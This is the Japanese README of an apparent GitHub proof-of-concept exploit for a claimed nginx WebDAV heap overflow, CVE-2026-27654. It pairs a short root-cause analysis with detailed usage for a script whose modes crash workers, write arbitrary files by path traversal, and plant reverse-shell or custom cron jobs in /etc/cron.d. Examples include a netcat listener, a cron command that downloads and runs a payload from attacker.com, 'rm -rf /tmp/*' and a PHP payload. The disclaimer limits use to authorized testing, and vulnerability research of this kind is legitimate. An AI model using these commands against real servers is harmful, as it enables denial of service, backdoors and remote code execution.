
NGINX HTTP WebDAV モジュールにおけるヒープベースのバッファオーバーフロー脆弱性 CVE-2026-27654 の概念実証(PoC)と技術的分析。根本原因分析、再現手順、緩和策を含みます。
このリポジトリは、nginx の ngx_http_dav_module におけるヒープオーバーフローの脆弱性 CVE‑2026‑27654 の概念実証(PoC)エクスプロイトを提供します。このバグは、特別に細工された Destination ヘッダーと alias ベースのロケーションを伴う MOVE/COPY リクエストを処理する際に発生する size‑t アンダーフローに起因します。
⚠️ 免責事項: このツールは認可されたセキュリティ研究およびテスト専用です。自分が所有するシステム、または明示的なテスト許可を得たシステムに対してのみ使用してください。作者は誤用に対する責任を負いません。
CVE-2026-27654 は、NGINX HTTP WebDAV モジュールにおけるリモートからトリガー可能なヒープベースのバッファオーバーフローであり、ngx_http_dav_copy_move_handler()(src/http/modules/ngx_http_dav_module.c)内の整数アンダーフローによって引き起こされます。この脆弱性は、設定されたロケーションプレフィックスを Destination ヘッダーのパスから減算して宛先 URI の長さを導出する際に発生します。両方のオペランドが size_t 型であるため、宛先パスが短いと減算がラップアラウンドし、unsigned 値の最大値付近になります。
ラップした長さはその後 memcpy() のサイズ引数として使用され、メモリを破壊して NGINX ワーカープロセスを即座にクラッシュさせるヒープの範囲外書き込みが発生します。リモートの認証されていない攻撃者は、alias にマッピングされた WebDAV ロケーションを標的とした単一の細工済み MOVE または COPY リクエストで、この状態を確実に引き起こせます。NGINX マスタープロセスは失敗したワーカーを自動的に再生成しますが、リクエストを繰り返すことでサービスを継続的なワーカークラッシュループに維持でき、永続的なサービス拒否(DoS)を引き起こします。
AddressSanitizer (ASan) は、memcpy() 内の negative-size-param エラーでこの脆弱性を検証し、ngx_http_dav_copy_move_handler() から ngx_http_core_module.c までの実行パスを追跡します。この脆弱性は、--with-http_dav_module を指定してコンパイルし、alias ディレクティブで設定した場合に、NGINX 0.5.13–1.28.2(stable) および 1.29.0–1.29.6(mainline) に影響します。この問題は、メモリ操作の前に算出された宛先パスの長さを適切に検証することにより、NGINX 1.28.3 および 1.29.7(コミット ab4b5b8、PR #1210)で修正されました。
MOVE/COPY リクエストを送信します。alias を備えたラボ環境が必要です)。/etc/cron.d/ に展開します。LHOST/LPORT の対話式プロンプトと、リスナー起動のリマインダー付きです。--cron-command フラグのいずれかを受け付けます。--check) – クラッシュテストを実行し、明確な [VULNERABLE] / [NOT VULNERABLE] の判定を出力して、終了コード 0 または 1 で終了する非対話モードです。--proxy) – デバッグやトラフィック検査のために、すべてのリクエストを HTTP/HTTPS プロキシ(例: Burp Suite、mitmproxy)経由で送信します。git clone https://github.com/Debajyoti0-0/CVE-2026-27654-PoC.git
cd CVE-2026-27654-PoC
pip install -r requirements.txt
python exploit.py --target 192.168.1.100:8080
番号付きメニューが表示され、モードの選択を求められます。
python exploit.py --target 192.168.1.100:8080 --check
これにより crash モードが強制され、エクスプロイトが実行され、終了コード 0 または 1 で終了する前に [VULNERABLE] または [NOT VULNERABLE] が出力されます。
python exploit.py --target 192.168.1.100:8080 --proxy http://127.0.0.1:8080
すべての HTTP リクエストは指定されたプロキシ経由で送信されます(Burp でのデバッグに便利です)。
注: ほとんどのフラグはオプションです。必要な必須引数(例:
cron-shellの--lhost/--lport)が指定されていない場合、スクリプトがプロンプトを表示します。
crashsize‑t アンダーフローを引き起こす細工済みの MOVE(または COPY)リクエストを送信します。サーバーはワーカープロセスをクラッシュさせます。マスタープロセスが正しく設定されていれば、新しいワーカーを再生成します。
例:
python exploit.py --target 10.0.0.5:80
# Select mode 1 (crash)
write-fileファイルをファイルシステム上の任意の場所にアップロードします。これは、DAV ロケーションが書き込み可能なディレクトリを指す alias によってバックアップされ、Destination パスが DAV ルートをエスケープするように細工されている場合にのみ機能します。認可されたラボ環境でのみ使用してください。
例:
python exploit.py --target 10.0.0.5:80 --payload-text "evil" --destination-path /tmp/evil.txt
# Select mode 2 (write-file)
cron-shellリバースシェルの cron ジョブを /etc/cron.d/ に配置します。
このモードを選択すると、スクリプトは以下を要求します:
その後、netcat リスナーコマンドを表示し、リスナーが起動したら Enter キーを押すのを待ちます。
例(事前入力済み):
python exploit.py --target 10.0.0.5:80 --lhost 192.168.1.50 --lport 4444
# Select mode 3 (cron-shell)
cron-cmdカスタムコマンド(対話式または --cron-command で指定)を /etc/cron.d/ に配置します。任意のシステムコマンドを実行する場合に便利です。
例(対話式):
python exploit.py --target 10.0.0.5:80
# Select mode 4, then enter command when prompted
例(事前入力済み):
python exploit.py --target 10.0.0.5:80 --cron-command "id > /tmp/owned"
# Select mode 4 (cron-cmd)
$ python exploit.py --target 192.168.1.100:8080
Available modes:
1. crash - Trigger the heap overflow crash
2. write-file - Write arbitrary content to an arbitrary location (authorized lab)
3. cron-shell - Deploy a reverse shell via /etc/cron.d
4. cron-cmd - Deploy a custom cron job
Select mode (number or name): 3
Enter reverse shell callback host (--lhost): 192.168.1.50
Enter reverse shell callback port (--lport): 4444
[*] Please start your netcat listener in a new terminal:
nc -lvnp 4444
[*] Press Enter once your listener is running...
[press Enter]
... (script performs the exploitation) ...
[+] Destination request accepted (201).
[*] Waiting 65s for cron execution...
[+] Reverse shell should connect shortly.
この例では、リスナーを必要とせずに cron-cmd を使用してターゲットシステム上でコマンドを実行する方法を示します。
$ python exploit.py --target 192.168.1.100:8080
Available modes:
1. crash - Trigger the heap overflow crash
2. write-file - Write arbitrary content to an arbitrary location (authorized lab)
3. cron-shell - Deploy a reverse shell via /etc/cron.d
4. cron-cmd - Deploy a custom cron job
Select mode (number or name): 4
Enter the command to run in cron (--cron-command): id > /tmp/owned
... (script performs the exploitation) ...
[+] Destination request accepted (201).
[*] Waiting 65s for cron execution...
[+] Command should have executed. Check /tmp/owned on the target.
python exploit.py --target 192.168.1.100:8080 --cron-command "wget http://attacker.com/payload -O /tmp/payload && chmod +x /tmp/payload && /tmp/payload"
# Select mode 4 (cron-cmd)
スクリプトは指定された --cron-command を自動的に使用し、対話式プロンプトをスキップするため、自動化に適しています。
この PoC を管理された環境でテストするには、--with-http_dav_module を指定して nginx をソースからビルドし、alias と dav_methods を持つロケーションを設定できます。サンプルの Docker 設定が含まれています(近日公開予定)。
このプロジェクトは GNU v3.0 ライセンスの下でライセンスされています。詳細は LICENSE ファイルを参照してください。
Issue とプルリクエストを歓迎します。貢献が同じ倫理的な使用ガイドラインに従うようにしてください。
注意: セキュリティツールをテストする前に、必ず適切な許可を取得してください。倫理的に行動しましょう!
--payload-file(バイナリ)または --payload-text(リテラルテキスト)でペイロードを指定するか、デフォルトのテストコンテンツを使用できます。--destination-path、--alias-len、--escape-depth、--method、--location-prefix など、エクスプロイトのあらゆる側面を微調整できます。requests ライブラリがインストールされていない場合、スクリプトは Python 標準の http.client にフォールバックします(フォールバックモードではプロキシサポートは無効になります)。| フラグ | 説明 | 例 |
|---|
--target HOST:PORT | ターゲットの nginx インスタンス(デフォルト: 127.0.0.1:8080)。 | --target 10.0.0.5:80 |
--verbose, -v | 完全な HTTP レスポンス(ヘッダーとボディ)を表示します。 | -v |
--no-put | 最初の PUT をスキップします(トリガーファイルが既に存在すると仮定)。繰り返しのテストに便利です。 | --no-put |
--location-prefix | DAV ロケーションプレフィックス(デフォルト: /uploads/)。nginx 設定の alias ロケーションと一致している必要があります。 | --location-prefix /dav/ |
--remote-name | DAV ロケーション内に配置するリモートのソースファイル名(デフォルト: triggerfile.txt)。 | --remote-name test.txt |
--method {MOVE,COPY} | 宛先リクエストに使用する DAV メソッド(デフォルト: MOVE)。 | --method COPY |
--destination-path | 宛先 URI パス – クラッシュ演算、または配信モードの最終ファイルパスに使用されます。 | --destination-path /etc/cron.d/backdoor |
--alias-len | 設定されている alias 文字列の長さ(クラッシュ演算の表示に使用、デフォルト 13)。 | --alias-len 20 |
--escape-depth | DAV ルートをエスケープする ../ パスコンポーネントの数(デフォルト 1)。 | --escape-depth 3 |
--payload-file | ペイロードとしてアップロードするローカルファイル。デフォルトのテストコンテンツを上書きします。 | --payload-file ./shell.php |
--payload-text | write-file モード用のリテラルテキストペイロード。 | --payload-text "<?php phpinfo(); ?>" |
--lhost | リバースシェルのコールバックホスト(cron-shell 用)。省略した場合、スクリプトが対話的にプロンプトを表示します。 | --lhost 192.168.1.50 |
--lport | リバースシェルのコールバックポート(cron-shell 用)。 | --lport 4444 |
--cron-command | cron 経由で実行するコマンド(cron-cmd 用)。省略した場合、スクリプトが対話的にプロンプトを表示します。 | --cron-command "rm -rf /tmp/*" |
--wait | cron 配信後、ジョブの実行を待機する秒数(デフォルト 65)。 | --wait 120 |
--check | 脆弱性チェック(クラッシュテスト、非対話)を実行します。VULNERABLE/NOT VULNERABLE を出力し、コード 0/1 で終了します。 | --check |
--proxy PROXY_URL | HTTP/HTTPS プロキシ URL(例: http://127.0.0.1:8080)。requests ライブラリが必要です。 | --proxy http://127.0.0.1:8080 |